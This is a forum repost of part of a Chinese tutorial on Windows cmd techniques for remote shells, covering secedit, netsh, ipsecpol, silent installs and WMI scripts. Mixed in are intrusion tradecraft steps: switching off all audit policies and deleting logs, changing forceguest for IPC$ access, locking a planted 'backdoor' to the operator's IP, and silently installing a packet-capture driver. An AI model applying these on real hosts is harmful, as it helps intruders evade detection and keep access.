  284. 最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。

  285.

  286. 先看secedit命令语法：

  287. secedit /analyze

  288. secedit /configure

  289. secedit /export

  290. secedit /validate

  291. secedit /refreshpolicy

  292. 5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

  293.

  294. 与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：

  295.

  296. 假设我要将密码长度最小值设置为6，并启用“密码必须符合复杂性要求”，那么先写这么一个模板：

  297.

  298. [version]

  299. signature="$CHICAGO$"

  300. [System Access]

  301. MinimumPasswordLength = 6

  302. PasswordComplexity = 1

  303.

  304. 保存为gp.inf，然后导入：

  305.

  306. secedit /configure /db gp.sdb /cfg gp.inf /quiet

  307.

  308. 这个命令执行完成后，将在当前目录产生一个gp.sdb，它是“中间产品”，你可以删除它。

  309. /quiet参数表示“安静模式”，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：

  310.

  311. secedit /configure /db gp.sdb /cfg gp.inf /log gp.log

  312. del gp.*

  313.

  314. 另外，在导入模板前，还可以先分析语法是否正确：

  315.

  316. secedit /validate gp.inf

  317.

  318. 那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。

  319.

  320. 再举个例子——关闭所有的“审核策略”。（它所审核的事件将记录在事件查看器的“安全性”里）。

  321. echo版：

  322.

  323. echo [version] >1.inf

  324. echo signature="$CHICAGO$" >>1.inf

  325. echo [Event Audit] >>1.inf

  326. echo AuditSystemEvents=0 >>1.inf

  327. echo AuditObjectAccess=0 >>1.inf

  328. echo AuditPrivilegeUse=0 >>1.inf

  329. echo AuditPolicyChange=0 >>1.inf

  330. echo AuditAccountManage=0 >>1.inf

  331. echo AuditProcessTracking=0 >>1.inf

  332. echo AuditDSAccess=0 >>1.inf

  333. echo AuditAccountLogon=0 >>1.inf

  334. echo AuditLogonEvents=0 >>1.inf

  335. secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet

  336. del 1.*

  337.

  338. 也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。

  339.

  340. 比如，XP和2003的“本地策略”－》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”：

  341.

  342. echo Windows Registry Editor Version 5.00 >1.reg

  343. echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg

  344. echo "forceguest"=dword:00000000 >>1.reg

  345. regedit /s 1.reg

  346. del 1.reg

  347.

  348. 而相应的用inf，应该是：

  349.

  350. echo [version] >1.inf

  351. echo signature="$CHICAGO$" >>1.inf

  352. echo [Registry Values] >>1.inf

  353. echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf

  354. secedit /configure /db 1.sdb /cfg 1.inf /log 1.log

  355. del 1.*

  356.

  357. 关于命令行下读取组策略的问题。

  358. 系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：

  359.

  360. secedit /export /cfg gp.inf /log 1.log

  361.

  362. 没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

  363.

  364. 不过，这样得到的只是组策略的一部分（即“Windows设置”）。而且，某个策略如果未配置，是不会被导出的。比如“重命名系统管理员帐户”，只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。

  365.

  366. 此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是“空”。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。

  367.

  368.

  369. 网络配置

  370. Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……

  371. 这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。

  372.

  373. netsh

  374. 在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。

  375.

  376. netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。

  377.

  378. 1，TCP/IP配置

  379.

  380. echo interface ip >s

  381. echo show config >>s

  382. netsh -f s

  383. del s

  384.

  385. 由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。

  386. 这个命令和ipconfig /all差不多。

  387.

  388. 注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后

  389. net start remoteaccess

  390.

  391. 2，ARP

  392.

  393. echo interface ip >s

  394. echo show ipnet >>s

  395. netsh -f s

  396. del s

  397.

  398. 这个比arp -a命令多一点信息。

  399.

  400. 3，TCP/UDP连接

  401.

  402. echo interface ip >s

  403. echo show tcpconn >>s

  404. echo show udpconn >>s

  405. netsh -f s

  406. del s

  407.

  408. 这组命令和netstat -an一样。

  409.

  410. 4，网卡信息

  411. 如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。

  412.

  413. echo interface ip >s

  414. echo show interface >>s

  415. netsh -f s

  416. del s

  417.

  418. netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就“叫天不应叫地不灵”了），所以全部略过。

  419.

  420. IPSec

  421. 首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

  422.

  423. XP系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。

  424.

  425. IPSec可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。

  426.

  427. 关于ipsecpol和ipseccmd的资料，网上可以找到很多，因此本文就不细说了，只是列举一些实用的例子。

  428. 在设置IPSec策略方面，ipseccmd命令的语法和ipsecpol几乎完全一样，所以只以ipsecpol为例：

  429.

  430. 1，防御rpc-dcom攻击

  431.

  432. ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

  433.

  434. 这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。

  435. 具体含义如下：

  436. -p myfirewall 指定策略名为myfirewall

  437. -r rpc-dcom 指定规则名为rpc-dcom

  438. -f …… 建立7个筛选器。*表示任何地址(源)；0表示本机地址(目标)；+表示镜像(双向)筛选。详细语法见ipsecpol -?

  439. -n BLOCK 指定筛选操作是“阻塞”。注意，BLOCK必须是大写。

  440. -w reg 将配置写入注册表，重启后仍有效。

  441. -x 立刻激活该策略。

  442.

  443. 2，防止被ping

  444.

  445. ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

  446.

  447. 如果名为myfirewall的策略已存在，则antiping规则将添加至其中。

  448. 注意，该规则同时也阻止了该主机ping别人。

  449.

  450. 3，对后门进行IP限制

  451. 假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出，应该限制对其服务端口6129的访问。

  452.

  453. ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg

  454. ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

  455.

  456. 这样就只有123.45.67.89可以访问该主机的6129端口了。

  457. 如果你是动态IP，应该根据IP分配的范围设置规则。比如：

  458.

  459. ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg

  460. ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

  461.

  462. 这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

  463.

  464. 在写规则的时候，应该特别小心，不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样，可以先用计划任务“留下后路”。例如：

  465.

  466. c:\>net start schedule

  467. Task Scheduler 服务正在启动 ..

  468. Task Scheduler 服务已经启动成功。

  469.

  470. c:\>time /t

  471. 12:34

  472.

  473. c:\>at 12:39 ipsecpol -p myfw -y -w reg

  474. 新加了一项作业，其作业 ID = 1

  475.

  476. 然后，你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。

  477. 如果测试结果不理想，就删除该策略。

  478.

  479. c:\>ipsecpol -p myfw -o -w reg

  480.

  481. 注意，删除策略前必须先确保它已停止。不停止它的话，即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间，默认是180分钟。

  482.

  483. 如果测试通过，那么就启用它。

  484.

  485. c:\>ipsecpol -p myfw -x -w reg

  486.

  487. 最后说一下查看IPSec策略的办法。

  488. 对于XP很简单，一条命令搞定——ipseccmd show filters

  489. 而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。（已经上传了三个文件，也就不在乎多一个了。^_^）

  490.

  491. netdiag需要RemoteRegistry服务的支持。所以先启动该服务：

  492.

  493. net start remoteregistry

  494.

  495. 不启动RemoteRegistry就会得到一个错误：

  496.

  497. [FATAL] Failed to get system information of this machine.

  498.

  499. netdiag这个工具功能十分强大，与网络有关的信息都可以获取！不过，输出的信息有时过于详细，超过命令行控制台cmd.exe的输出缓存，而不是每个远程cmd shell都可以用more命令来分页的。

  500.

  501. 查看ipsec策略的命令是：

  502. netdiag /debug /test:ipsec

  503.

  504. 然后是一长串输出信息。IPSec策略位于最后。

  505.

  506.

  507. 软件安装

  508. 一个软件/工具的安装过程，一般来说只是做两件事：拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容，那么就可以自己在命令行下实现了。（不考虑安装后需要注册激活等情况）

  509.

  510. WinPcap是个很常用的工具，但必须在窗口界面下安装。在网上也可以找到不用GUI的版本（但还是有版权页），其实我们完全可以自己做一个。

  511.

  512. 以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照，很容易了解整个安装过程。

  513. 除去反安装的部分，关键的文件有三个：wpcap.dll，packet.dll和npf.sys。前面两个文件位于system32目录下，第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意，是系统服务（即驱动）不是Win32服务。

  514.

  515. 作为系统服务，不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键，在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是，并不需要手动添加它，winpcap被调用时会自动搞定。甚至完全不用手动修改注册表，所有的事winpcap都会自己完成，只需要将三个文件复制到合适的位置就行了。

  516.

  517. 作为范例，还是演示一下如何修改注册表：利用前面说过的inf文件来实现。

  518.

  519. [Version]

  520. Signature="$WINDOWS NT$"

  521. [DefaultInstall.Services]

  522. AddService=NPF,,winpcap_svr

  523. [winpcap_svr]

  524. DisplayName=Netgroup Packet Filter

  525. ServiceType=0x1

  526. StartType=3

  527. ErrorControl=1

  528. ServiceBinary=%12%\npf.sys

  529.

  530. 将上面这些内容保存为_wpcap_.inf文件。

  531. 再写一个批处理_wpcap_.bat：

  532.

  533. rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf

  534. del _wpcap_.inf

  535. if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV

  536. copy packet.dll %SYSTEMROOT%\system32\

  537. copy wpcap.dll %SYSTEMROOT%\system32\

  538. del packet.dll

  539. del wpcap.dll

  540. :COPYDRV

  541. if /i %CD%==%SYSTEMROOT%\system32\drivers goto END

  542. copy npf.sys %SYSTEMROOT%\system32\drivers\

  543. del npf.sys

  544. :END

  545. del %0

  546.

  547. 然后用winrar将所有文件（5个）打包为自解压的exe，并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat，命令行的winpcap安装包就制作完成了。

  548.

  549. 注意，批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

  550.

  551. 所有的软件安装，基本上可以套用这个思路。但也有例外的，那就是系统补丁的安装。

  552. 由于系统补丁有可能要替换正在被执行或访问的文件，所以用copy命令是不行的。

  553. 幸好，Windows补丁包支持命令行安装。

  554. 比如：

  555.

  556. KB824146.exe -n -z -q

  557.

  558. -n 不保留备份

  559. -z 不重起

  560. -q 安静模式

  561.

  562. 如果有一堆补丁要打，那么用RAR打包成自解压文件，外加一个批处理。

  563.

  564. for %%f in (KB??????.exe) do %%f -n -z -q

  565. for %%f in (KB??????.exe) do del %%f

  566. del %0

  567.

  568.

  569. Windows脚本

  570. 很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

  571.

  572. 1，显示系统版本

  573.

  574. @echo for each ps in getobject _ >ps.vbs

  575. @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs

  576. @echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs

  577. cscript //nologo ps.vbs & del ps.vbs

  578.

  579. 2，列举进程

  580.

  581. @echo for each ps in getobject _ >ps.vbs

  582. @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs

  583. @echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

  584. cscript //nologo ps.vbs & del ps.vbs

  585.

  586. 3，终止进程

  587.

  588. @echo for each ps in getobject _ >pk.vbs

  589. @echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs

  590. @echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

  591.

  592. 要终止PID为123的进程，使用如下语法：

  593. cscript pk.vbs 123

  594.

  595. 如果显示一个0，表示终止成功。

  596.

  597. 然后：

  598. del pk.vbs

  599.

  600. 4，重启系统

  601.

  602. @echo for each os in getobject _ >rb.vbs

  603. @echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs

  604. @echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

  605.

  606. 5，列举自启动的服务

  607.

  608. @echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs

  609. @echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs

  610. @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

  611.

  612. 6，列举正在运行的服务

  613.

  614. @echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs

  615. @echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs

  616. @echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

  617.

  618. 7，显示系统最后一次启动的时间

  619.

  620. @echo for each os in getobject _ >bt.vbs

  621. @echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs

  622. @echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

  623.

  624. 显示结果的格式是：

  625. yyyymmddHHMMSSxxxxxxZZZZ

  626. _年_月日时分秒_微秒_时区

  627.

  628. 8，显示系统运行时间

  629.

  630. @echo for each os in getobject _ >rt.vbs

  631. @echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs

  632. @echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs

  633. @echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs

  634. @echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs

  635. cscript //nologo rt.vbs & del rt.vbs

  636.

  637. 这个运行时间是从性能计数器中获得的64位整型数，不会出现在49.7天后溢出的情况。

  638.

  639.

  640. 附言

  641. cmd shell博大精深，本文挂一漏万讲了一些常用技巧，希望对各位有所帮助。

  642.

  643. 也许你早知道了这些方法，也许你有更好的方法，希望你能写出来和大家分享。

  644.

  645. 最后，感谢你耐心看完本文。本人水平有限，错误之处恳请指正。
复制代码
原文地址：http://hi.baidu.com/zzzevazzz/bl ... 6dbbd2562c8426.html
收藏 分享
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

  • VBS教程&资料
  • BAT求助&讨论
批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:45, Processed in 0.042856 second(s), 8 queries, Gzip enabled.